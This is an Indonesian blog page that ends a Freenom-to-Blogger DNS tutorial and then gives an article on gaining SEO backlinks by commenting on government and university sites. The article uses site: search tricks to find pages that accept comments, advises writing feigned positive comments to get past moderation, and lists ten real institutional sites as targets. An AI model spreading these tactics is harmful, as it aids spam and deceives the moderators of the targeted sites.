Setelah klik Continue pada tahap 2, anda harus mengisi beberapa data diri. Setelah selesai, sebuah email verifikasi akan dikirim ke email anda. Klik link dalam email itu untuk memverifikasi pendaftaran.

4. Update DNS Settings
Login ke Freenom, masuk ke Services->My Domains. Klik Manage Domain pada domain baru kita dan lanjutkan dengan masuk ke tab Manage Freenom DNS. Isikan data seperti ini:



*Settingan CNAME terakhir adalah sesuai dengan data CNAME dari blogger. Jadi, hasil pengisiannya harus seperti semacam ini, ya. Referensi A record tersebut dari dulu sama. Namun, untuk bercaga-jaga, lihat A record sesuai panduan berikut: https://support.google.com/blogger/answer/1233387?hl=en&ref_topic=6321959



5. Save Settings
Terakhir, simpan settingan DNS di Freenom. Juga, jangan sampai lupa, kembali ke blogger untuk kembali menyimpan pengaturan custom domain. Setelah tersimpan, kembali pastikan untuk mencentang opsi pengalihan (Alihkan domain.xxx ke www.domain.xxx), agar domain bisa diakses tanpa prefix www.



All done, sekarang domain bisa diakses :)
Semoga artikel ini bermanfaat, ya.





Read more

Trik Mendapatkan Backlink Dari Situs Instansi Pemerintah Melalui Komentar


Web resmi yang dikelola pemerintah atau instansi dinilai memiliki kredibilitas di mata search engine. Oleh karena itu banyak yang berburu memperoleh backlink ke situs semacam ini. Satu-satunya celas yang mudah dilewati, ya, lewat komentar.

Dulu, SEO bukanlah hal yang terlalu penting. Tapi, semua berubah ketika Google naik daun menuju kejayaannya seperti sekarang. Yap, semua saling berkompetisi. Dan, rasa-rasanya ini semakin parah dengan tumbuhnya jumlah situs dan blog di dunia. Karena faktor inilah, banyak sekali situs yang terserang spam di komentarnya.

Menanggapi akan hal ini, pengelola website mulai memutar otak. Awalnya captcha, tapi karena kurang manjur, setiap komentar terpaksa harus dimoderasi secara manual. Setidaknya itu bisa mengurangi jumlah spam secara signifikan. Namun, beberapa situs, masih saja menjadi korban. Mau tak mau fitur komentar akhirnya harus dimatikan.

Nah, di zaman seperti ini, bagaimana kita dapat memperoleh backlink melalui komentar? di situs instansi pula. Penasaran kan? berikut tips dari Komputoo

1. Cari di Google Dengan Keyword Ini
Langkah pertama, kita harus menyeleksi situs yang memiiki konten postingan yang sesuai. Dan, jangan lupa, memiliki domain ala instansi/lembaga, misalnya .ac.id, .go.id, .desa.id, .edu, dll. Misalnya, saya ingin mencari postingan dengan niche komputer di situs berdomain .ac.id, keywordnya akan seperti ini

komputer site:.ac.id

Bim, salabim...
Deretan deretan situs berdomain .ac.id dengan postingan berhubungan dengan komputer terlihat.

2. Pilih yang Bisa Dikomentari
Belum cukup dengan niche dan domain, kita harus memastikan bahwa target yang akan kita masuki dapat membantu kita. Untuk itu, tambahkan "x Komentar" atau "x Comments" di kata kunci pencarian (dengan disertai tanda petik "..." ; x adalah angka > 0). Misal:

komputer "5 komentar" site:.ac.id

Dengan metode ini, kita hanya akan memperoleh deretan situs yang dapat menerima komentar. Ini dibuktikan dengan cuplikan jumlah komentar yang berhasil dipublikasikan, sehingga tertera dalam hasil pencarian.

3. Pura-Pura Berkomentar yang Baik
Beberapa cuplikan hasil pencarian seringkali adalah hasil crawl mesin pencari yang sudah lama. Jadi, meski terlihat ada pengunjung yang berkomentar, tidak sepenuhnya itu benar. Kadang, kita masih harus melewati verifikasi, sebelum komentar dapat tampil.

Sayangnya, kita tidak akan pernah tahu apakah target dapat dikomentari langsung atau harus menunggu approve. Agar lebih mudah, buat saja komentar yang positif dan relevan. Jadi, meski komentar tidak dapat langsung muncul, setidaknya peluang untuk di-approve masih besar.

BONUS:
- https://bpad.kalselprov.go.id
- http://unnes.ac.id
- http://prodid3gizi.poltekkes-malang.ac.id
- http://stieamm.ac.id/
- http://murtiyarini.staff.ipb.ac.id
- http://rindacahyana.sttgarut.ac.id
- http://maksi.feb.ugm.ac.id
- http://yahdiinformatika.staff.telkomuniversity.ac.id
- http://law.ui.ac.id/v3
- http://waropenkab.go.id

Selamat mencoba, semoga bermanfaat.
Read more